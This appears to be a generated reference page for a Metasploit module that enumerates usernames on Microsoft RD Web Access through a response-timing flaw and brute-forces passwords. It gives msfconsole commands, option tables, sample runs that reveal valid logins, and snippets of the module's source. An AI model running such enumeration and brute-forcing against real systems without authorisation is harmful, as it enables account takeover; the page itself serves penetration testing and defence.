Microsoft RDP Web Client Login Enumeration - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/rdp_web_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Microsoft RDP Web Client Login Enumeration
Module: auxiliary/scanner/http/rdp_web_login
Source code: modules/auxiliary/scanner/http/rdp_web_login.py
Disclosure date: 2020-12-23
Last modification time: 2021-09-29 15:49:09 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 443
List of CVEs: -
Enumerate valid usernames and passwords against a Microsoft RDP Web Client by attempting authentication and performing a timing based check against the provided username.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/rdp_web_login
msf auxiliary(rdp_web_login) > show options
... show and set options ...
msf auxiliary(rdp_web_login) > set RHOSTS ip-range
msf auxiliary(rdp_web_login) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(rdp_web_login) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(rdp_web_login) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(rdp_web_login) > set RHOSTS file:/tmp/ip_list.txt
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
username: The username to verify or path to a file of usernames
Knowledge Base
Vulnerable Application
The Microsoft RD Web login is vulnerable to the same type of authentication username enumeration vulnerability that is present for OWA. By analyzing the time it takes for a failed response, the RDWeb interface can be used to quickly test the validity of a set of usernames. The module additionally supports testing username password combinations. Additionally, this module can attempt to discover the target NTLM domain if you don't already know it. This module also reports credentials to the credentials database when they are discovered.
Verification Steps
- [ ] Start
msfconsole
- [ ]
use auxiliary/scanner/http/rdp_web_login
- [ ]
set rhost TARGET_IP
- [ ]
set username USER_OR_FILE
- [ ]
set password PASSWORD_OR_FILE
(Only if you want to test the password brute forcing) - [ ]
set domain DOMAIN
(Only if you don't want to test the domain discovery feature) - [ ] Check output for validity of your test username(s), password(s), and domain
Options
domain
The target domain to use for the username checks. If not provided, enum_domain needs to be set to true so it can be discovered.
enum_domain
Enumerate the domain by using an NTLM challenge/response and parsing the AD Domain out.
username
Either a specific username to verify or a file with one username per line to verify.
password
Either a specific password to attempt or a file with one password per line to verify. If not provided, uses the same None password for all requests
verify_service
Whether or not to verify that RDWeb is installed prior to scanning. Defaults to true.
user_agent
An alternate User Agent string to use in HTTP requests. Defaults to Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0.
Scenarios
If an RDWeb login page is discovered, you can use this module to gather valid usernames for a brute force attack.
Specific target output replaced with Ys so as not to disclose information
msf6 > use auxiliary/scanner/http/rdp_web_login
msf6 auxiliary(scanner/http/rdp_web_login) > set username /home/kali/users.txt
username => /home/kali/users.txt
msf6 auxiliary(scanner/http/rdp_web_login) > set RHOSTS YY.YYY.YYY.YY
RHOSTS => YY.YYY.YYY.YY
msf6 auxiliary(scanner/http/rdp_web_login) > run
[] Running for YY.YYY.YYY.YY...
[+] Found Domain: YYYYYYYYYYYY
[-] Username YYYYYYYYYYYY\wrong is invalid! No response received in 1250 milliseconds
[+] Username YYYYYYYYYYYY\YYYYY is valid! Response received in 628.877 milliseconds
[-] Username YYYYYYYYYYYY\k0pak4 is invalid! No response received in 1250 milliseconds
[] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
If an RDWeb login page is discovered, you can use this module to perform a brute force attack.
msf6 > use auxiliary/scanner/http/rdp_web_login
msf6 auxiliary(scanner/http/rdp_web_login) > set RHOSTS 192.168.148.128
RHOSTS => 192.168.148.128
msf6 auxiliary(scanner/http/rdp_web_login) > set username /home/kali/users.txt
username => /home/kali/users.txt
msf6 auxiliary(scanner/http/rdp_web_login) > set password /home/kali/passwords.txt
password => /home/kali/passwords.txt
msf6 auxiliary(scanner/http/rdp_web_login) > set timeout 500
timeout => 500
msf6 auxiliary(scanner/http/rdp_web_login) > run
[] Running for YY.YYY.YYY.YY...
[+] Found Domain: YYYY
[-] Login YYYY\wrong:password is invalid! No response received in 500 milliseconds
[-] Login YYYY\wrong:Password1! is invalid! No response received in 500 milliseconds
[+] Password password is invalid but YYYY\k0pak4 is valid! Response received in 155.648 milliseconds
[+] Login YYYY\k0pak4:Password1! is valid!
[+] Password password is invalid but YYYY\Administrator is valid! Response received in 77.852 milliseconds
[+] Password Password1! is invalid but YYYY\Administrator is valid! Response received in 76.029 milliseconds
[] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Version and OS
Tested against Microsoft IIS 10.0 and RDWeb on Windows Server 2019 and Windows Server 2016
References
- https://raxis.com/blog/rd-web-access-vulnerability
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/rdp_web_login auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/rdp_web_login
msf6 auxiliary(scanner/http/rdp_web_login) > show info
Name: Microsoft RDP Web Client Login Enumeration
Module: auxiliary/scanner/http/rdp_web_login
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2020-12-23
Provided by:
Matthew Dunn
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
THREADS 1 yes The number of concurrent threads (max one per host)
domain no The target AD domain
enum_domain true no Automatically enumerate AD domain using NTLM
password no The password to try or path to a file of passwords
rport 443 yes Port to target
targeturi /RDWeb/Pages/en-US/login.aspx yes The base path to the RDP Web Client install
timeout 1250 yes Response timeout in milliseconds to consider username invalid
user_agent Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 no User Agent string to use, defaults to Firefox
username yes The username to verify or path to a file of usernames
verify_service true no Verify the service is up before performing login scan
Description:
Enumerate valid usernames and passwords against a Microsoft RDP Web
Client by attempting authentication and performing a timing based
check against the provided username.
References:
https://raxis.com/blog/rd-web-access-vulnerability
Module Options
This is a complete list of options available in the scanner/http/rdp_web_login auxiliary module:
msf6 auxiliary(scanner/http/rdp_web_login) > show options
Module options (auxiliary/scanner/http/rdp_web_login):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
THREADS 1 yes The number of concurrent threads (max one per host)
domain no The target AD domain
enum_domain true no Automatically enumerate AD domain using NTLM
password no The password to try or path to a file of passwords
rport 443 yes Port to target
targeturi /RDWeb/Pages/en-US/login.aspx yes The base path to the RDP Web Client install
timeout 1250 yes Response timeout in milliseconds to consider username invalid
user_agent Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 no User Agent string to use, defaults to Firefox
username yes The username to verify or path to a file of usernames
verify_service true no Verify the service is up before performing login scan
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/rdp_web_login auxiliary module:
msf6 auxiliary(scanner/http/rdp_web_login) > show advanced
Module advanced options (auxiliary/scanner/http/rdp_web_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/rdp_web_login module can do:
msf6 auxiliary(scanner/http/rdp_web_login) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/rdp_web_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/rdp_web_login) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
error
Here is a relevant code snippet related to the "error" error message:
73: verify=False, allow_redirects=False)
74: return request.status_code == 200 and 'RDWeb' in request.text
75: except requests.exceptions.Timeout:
76: return False
77: except Exception as exc:
78: module.log(str(exc), level='error')
79: return False
80:
81:
82: def get_ad_domain(rhost, rport, user_agent):
83: """Retrieve the NTLM domain out of a specific challenge/response"""
Failed to find Domain
Here is a relevant code snippet related to the "Failed to find Domain" error message:
97: domain = base64.b64decode(bytes(domain_hash,
98: 'utf-8')).replace(b'\x00',b'').split(b'\n')[1]
99: domain = domain[domain.index(b'\x0f') + 1:domain.index(b'\x02')].decode('utf-8')
100: module.log('Found Domain: {}'.format(domain), level='good')
101: return domain
102: module.log('Failed to find Domain', level='error')
103: return None
104:
105:
106: def check_login(rhost, rport, targeturi, domain, username, password, timeout, user_agent):
107: """Check a single login against the RDWeb Client
error
Here is a relevant code snippet related to the "error" error message:
130: module.report_valid_username(username, **report_data)
131: else:
132: module.log('Received unknown response with status code: {}'.format(request.status_code))
133: except requests.exceptions.Timeout:
134: module.log('Login {}\\{}:{} is invalid! No response received in {} milliseconds'.format(domain, username, password, timeout),
135: level='error')
136: except requests.exceptions.RequestException as exc:
137: module.log('{}'.format(exc), level='error')
138: return
139:
140:
error
Here is a relevant code snippet related to the "error" error message:
132: module.log('Received unknown response with status code: {}'.format(request.status_code))
133: except requests.exceptions.Timeout:
134: module.log('Login {}\\{}:{} is invalid! No response received in {} milliseconds'.format(domain, username, password, timeout),
135: level='error')
136: except requests.exceptions.RequestException as exc:
137: module.log('{}'.format(exc), level='error')
138: return
139:
140:
141: def check_logins(rhost, rport, targeturi, domain, usernames, passwords, timeout, user_agent):
142: """Check each username and password combination"""
Module dependencies are missing, cannot continue
Here is a relevant code snippet related to the "Module dependencies are missing, cannot continue" error message:
146:
147: def run(args):
148: """Run the module, gathering the domain if desired and verifying usernames and passwords"""
149: module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
150: if DEPENDENCIES_MISSING:
151: module.log('Module dependencies are missing, cannot continue', level='error')
152: return
153:
154: user_agent = args['user_agent']
155: # Verify the service is up if requested
156: if args['verify_service']:
error
Here is a relevant code snippet related to the "error" error message:
158: args['targeturi'], int(args['timeout']), user_agent)
159: if service_verified:
160: module.log('Service is up, beginning scan...', level='good')
161: else:
162: module.log('Service appears to be down, no response in {} milliseconds'.format(args["timeout"]),
163: level='error')
164: return
165:
166: # Gather AD Domain either from args or enumeration
167: domain = args['domain'] if 'domain' in args else None
168: if not domain and args['enum_domain']:
error
Here is a relevant code snippet related to the "error" error message:
169: domain = get_ad_domain(args['rhost'], args['rport'], user_agent)
170:
171: # Verify we have a proper domain
172: if not domain:
173: module.log('Either domain or enum_domain must be set to continue, aborting...',
174: level='error')
175: return
176:
177: # Gather usernames and passwords for enumeration
178: if os.path.isfile(args['username']):
179: with open(args['username'], 'r') as file_contents:
Go back to menu.
Related Pull Requests
- #14953 Merged Pull Request: Drop python 3.6 string formatting syntax in rdp_web_login
- #14544 Merged Pull Request: RDP Web Login User Enumeration Auxiliary Module
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/rdp/rdp_scanner
- exploit/windows/rdp/rdp_doublepulsar_rce
- auxiliary/dos/windows/rdp/ms12_020_maxchannelids
- auxiliary/scanner/rdp/cve_2019_0708_bluekeep
- auxiliary/scanner/rdp/ms12_020_check
- exploit/windows/rdp/cve_2019_0708_bluekeep_rce
- auxiliary/dos/http/wordpress_directory_traversal_dos
- auxiliary/dos/http/wordpress_long_password_dos
- auxiliary/dos/http/wordpress_xmlrpc_dos
- auxiliary/scanner/http/wordpress_content_injection
- auxiliary/scanner/http/wordpress_cp_calendar_sqli
- auxiliary/scanner/http/wordpress_ghost_scanner
- auxiliary/scanner/http/wordpress_login_enum
- auxiliary/scanner/http/wordpress_multicall_creds
- auxiliary/scanner/http/wordpress_pingback_access
- auxiliary/scanner/http/wordpress_scanner
- auxiliary/scanner/http/wordpress_xmlrpc_login
- exploit/windows/fileformat/cain_abel_4918_rdp
- post/windows/manage/enable_rdp
- exploit/dialup/multi/login/manyargs
Authors
- Matthew Dunn
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.